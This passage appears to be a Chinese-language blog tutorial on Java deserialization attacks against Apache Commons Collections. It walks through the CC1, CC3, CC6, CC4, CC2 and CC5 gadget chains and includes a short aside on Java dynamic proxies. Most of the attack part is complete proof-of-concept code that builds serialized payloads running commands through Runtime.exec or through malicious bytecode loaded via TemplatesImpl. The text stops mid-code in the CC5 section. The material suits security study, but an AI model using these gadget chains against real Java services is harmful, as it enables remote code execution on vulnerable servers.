第二个问题就是 Runtime 对象不能序列化,只能通过反射

第三个问题就是想要调用 setValue 要有几个if判断

解决Runtime对象序列化

Runtime 对象不能序列化,但是 Runtime.class 可以序列化,通过反射来调用

1
2
3
4
5
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime" , null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

然后再将其修改为 InvokerTransformer 版本

1
2
3
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

这里因为是重复调用,所以考虑 ChainedTransformer

image-20240402005900939

可以看到 ChainedTransformer 的构造函数中传递一个方法数组并且赋值给这个变量,然后在transform中进行递归调用那我们先定义一个 Transformer 数组,然后传入 ChainedTransformer

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

if判断

第一个if判断

1
memberType != null

是让我们的map里面的key与成员方法相同

跟进 Override 发现 target 里面有个 value 方法,所以将 Override.class 修改为 target.class 并且将map的"key"修改为"value"

image-20240402010756051

image-20240402010823727

AnnotationTypeMismatchExceptionProxy对象

我们走到这里的时候会发现,这里的value是 AnnotationTypeMismatchExceptionProxy 对象

image-20240402010942132

回忆一下前面 chainedTransformer

1
chainedTransformer.transform(Runtime.class);

调用的是Runtime.class对象

这里引入另一个类: ConstantTransformer

image-20240402011144425

可以看到 ConstantTransformer.transform 不管传入什么都会返回固定的值

那么我们只要让这个 iConstant为Runtime.class 即可

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class RunTest {
public static void main(String[] args) throws Exception {
//构造transformers调用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

//
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("value","aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o =constructor.newInstance(Target.class,transformedMap);

serialize(o);
unserialize("ser.bin");
}


public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

Java代理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ProxyTest.java
package daili;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class ProxyTest {
public static void main(String[] args){
IUser user = new UserImpl();
// user.show();
//静态代理
// IUser userproxy = new UserProxy(user);
// userproxy.show();
//动态代理
//要代理的接口、要做的事情、Classloader类加载器
InvocationHandler userinvocationHandler = new UserInvocationHandler(user);
IUser userproxy = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(),user.getClass().getInterfaces(),userinvocationHandler);
userproxy.show();
}
}

1
2
3
4
5
6
7
8
9
10
11
12
UerImpl.java
package daili;

public class UserImpl implements IUser{
public UserImpl(){

}
public void show(){
System.out.println("展示");
}
}

1
2
3
4
5
6
7
IUser.java接口
package daili;

public interface IUser {
void show();
}

静态代理:4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package daili;
//静态代理
public class UserProxy implements IUser{
IUser user;
public UserProxy(){

}
public UserProxy(IUser user){this.user = user; }
public void show(){
user.show();
System.out.println("调用了show");
}

}

动态代理:

如果调用了动态代理类的任意方法,则会调用动态代理类中的invoke方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
UserInvocationHanderler.java

package daili;
//动态代理
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class UserInvocationHandler implements InvocationHandler{
IUser user;
public UserInvocationHandler(){

}
public UserInvocationHandler(IUser user){
this.user = user;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

method.invoke(user,args);
return null;
}
}

1
2
3
4
5
//UserInvokcation为代理类,我们要使用的是user,所以将user这个代理对象传入
InvocationHandler userinvocationHandler = new UserInvocationHandler(user);
//生成动态代理对象:
IUser userproxy = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader()/*类加载器*/,user.getClass().getInterfaces()/*要传入的接口*/,userinvocationHandler/*要做的事情:代理user对象*/);
userproxy.show();

利用方式:

1
2
3
4
5
6
目标:B.f
调用链:A[O] - > O.abc - > B.f
O为动态代理类:
O[B]invoke - > f
//invoke - > 在有函数调用时自动执行
//拼接两条链:任意->固定

在查找transform的使用时,出了TransformedMap,还有LazyMap,我们继续尝试使用LazyMap构造cc链

image-20240403192236604

image-20240403192255625

进入LazyMap

image-20240403192502296

发现是在get方法中调用的transform,且factory是可控的,因此我们查看构造方法,发现还是一样的调用decorate对其进行赋值就行,我们继续查看哪里调用了get方法,这里方法特别多,我们直接来到触发点,还是AnnotationInvocationHandler类,但这次是invoke方法

image-20240403192806351

发现参数依然是我们可控的,只是有if判断需要我们进行绕过,简单来说就是不能调用equals方法,且调用的不能是有参方法,而我们的readObject正好有无参方法,且类名是可控的,如下图

image-20240403193035325

POC2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

//创建InvocationHandler
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);

//因为InvocationHandler接收的是mao,所以这里代理的类型也得是map,想调用h的invoke,就像下边这么写就行,具体的我还不是很懂
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

//继续实例化一个InvocationHandler来接收map
InvocationHandler o = (InvocationHandler) constructor.newInstance(Override.class,mapProxy);

serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

CC3

CC3其实就是用InvokerTransformer调用了tp链,由于在fj1.2.24的时候已经了解过了这条链子,下面我就简单说说,具体的可以去看fj1.2.24的博客

这条链子主要是通过加载字节码达到任意代码执行的效果,通过InvokerTransformer的任意方法调用,执行到TemplatesImpl的newTransformer方法进而加载恶意类执行恶意代码,下面是详细分析

TemplatesImpl

我闷先来到漏洞触发点

image-20240404194527541

发现这里将_class[_transletIndex]进行了实例化,也就是可以进行任意代码的执行,由于不是public用法,所以我们继续向上找

image-20240404194937317

于是就找到了newTransformer这个方法,既然已经找到了可以调用的方法,我们就继续完善调用条件即可,回到getTransletInstance,我们首先需要将class赋值为我们的恶意类才能进行操作

image-20240404195317785

所以我们继续跟进defineTransletClasses方法

image-20240404200502690

这里需要注意三个地方,第一个是_bytecodes不能为空,再就是这里_class[i] = loader.defineClass(_bytecodes[i]);进行了类加载操作,还有一个没标,就是图中的_tfactory也得赋值,否则会报错,最下面那个就是要求恶意类的父类必须是ABSTRACT_TRANSLET,否则会报异常,具体如下

image-20240404200814491

也就是AbstractTranslet这个类

image-20240404201054434

由于我们传入的byte是二维数组,所以最终的_transletIndex就会是1,进而实例化我们的恶意类,最后只需要将CC1中chainedtransforms的调用换成TemplatesImpl的newTransformer即可

POC1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws NoSuchMethodException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, IOException, ClassNotFoundException, InvocationTargetException, InstantiationException {
TemplatesImpl templates = new TemplatesImpl();
Class ct = templates.getClass();
byte[] code = Files.readAllBytes(Paths.get("E://漏洞复现/cc/CC1/src/main/java/Calc.class"));
byte[][] bytes = {code};
Field ctDeclaredField = ct.getDeclaredField("_bytecodes");
ctDeclaredField.setAccessible(true);
ctDeclaredField.set(templates,bytes);
Field nameField = ct.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Chu0");
Field tfactory = ct.getDeclaredField("_tfactory");
tfactory.setAccessible(true);

tfactory.set(templates,new TransformerFactoryImpl());
//templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","123");
Map transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformedMap);
//serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

POC2

我们可以发现如果被禁用了InvokerTransformer的话,CC哪条链都无法执行,这样的话我们就考虑能否不使用他来构造链子,于是就想找到一个不使用InvokerTransformer里面反射调用的方法,找到一个可以直接调用Templateslmpl的newTransformer的类:

所以CC3链子的作者找到了这样的一个类TrAXFliter(不存在序列化接口),可以直接调用newTransformer的类:

通过chainedTransformer类中的transform方法,先传入TrAXFilter.class,然后在通过InstantiateTransformer(存在序列化接口)的transform方法,对上面类和类的构造方法进行调用并将TemplatesImpl Templates = new TemplatesImpl();传入,触发TrAXFliter构造方法中的Templates.newInstance()方法。

1
2
3
4
5
6
7
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{Templates})

};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
// chainedTransformer.transform(1);

image-20240404210853512

image-20240404210915350

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC32 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class ct = templates.getClass();
byte[] code = Files.readAllBytes(Paths.get("E://漏洞复现/cc/CC1/src/main/java/Calc.class"));
byte[][] bytes = {code};
Field ctDeclaredField = ct.getDeclaredField("_bytecodes");
ctDeclaredField.setAccessible(true);
ctDeclaredField.set(templates,bytes);
Field nameField = ct.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Chu0");
Field tfactory = ct.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
//只对invokerTransformer进行赋值,此时就会在checkSetValue处调用transform方法
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

transformedMap.put("value","value");
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");


}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

CC6

简单来说是DNSURL链与CC1的结合,利用HashMap调用某类的hashcode方法,再利用hashcode调用CC1中LazyMap链的get方法,进而链接整条线路

TiedMapEntry.hashCode

利用 TiedMapEntry.hashCode 去触发 LazyMap.get,我们进来看一下它的 hashCode

image-20240403233215141

跟进 getValue

image-20240403233236830

再看一下它的构造函数

image-20240403233243699

就是构造键值对,那么只需要让其map为 LazyMap 即可

image-20240403233253181

然后再看 HashMap.readObject

HashMap.readObject

image-20240403233327793

image-20240403233335386

就是这里触发 hashCode ,只需要让其key为 TiedMapEntry 即可

image-20240403233343813

因为对于map的赋值必须要用put,所以这里是用put进行的赋值

问题解决

这里的put会有一个问题,在他执行的时候也会调用hash方法,进而将整条链子 触发一次

image-20240404130005220

而最关键的是在lazyMap部分

image-20240404130041260

在这里触发完链子之后,会执行map.put操作,将key放到map里面,而我们能够执行factory.transform的条件是map中的key不存在。如果我们在序列化的时候将map中的key赋值,将会导致其在反序列化的时候无法进入if判断,进而导致命令执行失败,所以我们就需要用特定的语句在序列化之前将map中的key去掉

1
lazyMap.remove("aaa");

POC1

这里先给出链子(我自己写的版本)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map<Object,Object> map = new HashMap<>();


Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
//查看构造函数,传入的key和value
HashMap<Object, Object> map1 = new HashMap<>();
//map的固定语法,必须要put进去,这里的put会将链子连起来,触发命令执行
map1.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");
serialize(map1);
//unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

POC2

这里和我自己的poc的区别就是在开始的时候将触发计算器的调用链改成了没用的transfrom,在序列化之前再将其替换回来,实测应该是对链子整体的触发没有什么影响。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

Map<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");

//查看构造函数,传入的key和value
HashMap<Object, Object> map1 = new HashMap<>();
//map的固定语法,必须要put进去,这里的put会将链子连起来,触发命令执行
map1.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);


serialize(map1);
//unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

CC4

分析

因为 CommonsCollections4 除4.0的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。

我们找了 TransformingComparator.compare 进行字节码加载

image-20240404222002550

查看哪里调用了 TransformingComparator.compare,发现在 PriorityQueue.readObject

image-20240404222043231

image-20240404222046911

image-20240404222049809

image-20240404222057346

开始构造

先看 TransformingComparator 的构造方法

image-20240404222116015

可以直接赋值,然后看 PriorityQueue 的构造方法

image-20240404222132557

也可以直接复制,那么构造

1
2
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

但是此时还执不了,调试看

image-20240404222241737

此时size为0, 进不去, 如果想要进入,size最少为2,尝试构造

1
2
priorityQueue.add(1);
priorityQueue.add(2);

但是会报错(虽然能弹出计算器但是不是想要的)我们跟进put

image-20240404222355885

image-20240404222359129

image-20240404222406533

image-20240404222410306

可见在put的时候就调用了compare方法,但我们需要在 readObject 的时候才调用所以我们要在前面将一些东西赋值为别的,反序列化的时候再改回来

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CC4Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class ct = templates.getClass();
byte[] code = Files.readAllBytes(Paths.get("E://漏洞复现/cc/CC1/src/main/java/Calc.class"));
byte[][] bytes = {code};
Field ctDeclaredField = ct.getDeclaredField("_bytecodes");
ctDeclaredField.setAccessible(true);
ctDeclaredField.set(templates,bytes);
Field nameField = ct.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Chu0");
Field tfactory = ct.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformer = c.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,chainedTransformer);

//serialize(priorityQueue);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}

}

CC2

直接给POC了,和CC4差不多的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC42 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class ct = templates.getClass();
byte[] code = Files.readAllBytes(Paths.get("E://漏洞复现/cc/CC1/src/main/java/Calc.class"));
byte[][] bytes = {code};
Field ctDeclaredField = ct.getDeclaredField("_bytecodes");
ctDeclaredField.setAccessible(true);
ctDeclaredField.set(templates,bytes);
Field nameField = ct.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Chu0");
Field tfactory = ct.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);

Class c = transformingComparator.getClass();
Field transformer = c.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,invokerTransformer);

//serialize(priorityQueue);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = objectInputStream.readObject();
return object;
}
}

CC5

BadAttributeValueExpException

image-20240404232502897

image-20240404232507378

注意在构造函数的时候会直接调用 toString方法 ,所以一开始需要赋值一个其他的,反序列化的时候再给 TiedMapEntry

TiedMapEntry

image-20240404232533227

image-20240404232537113

image-20240404232541987

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
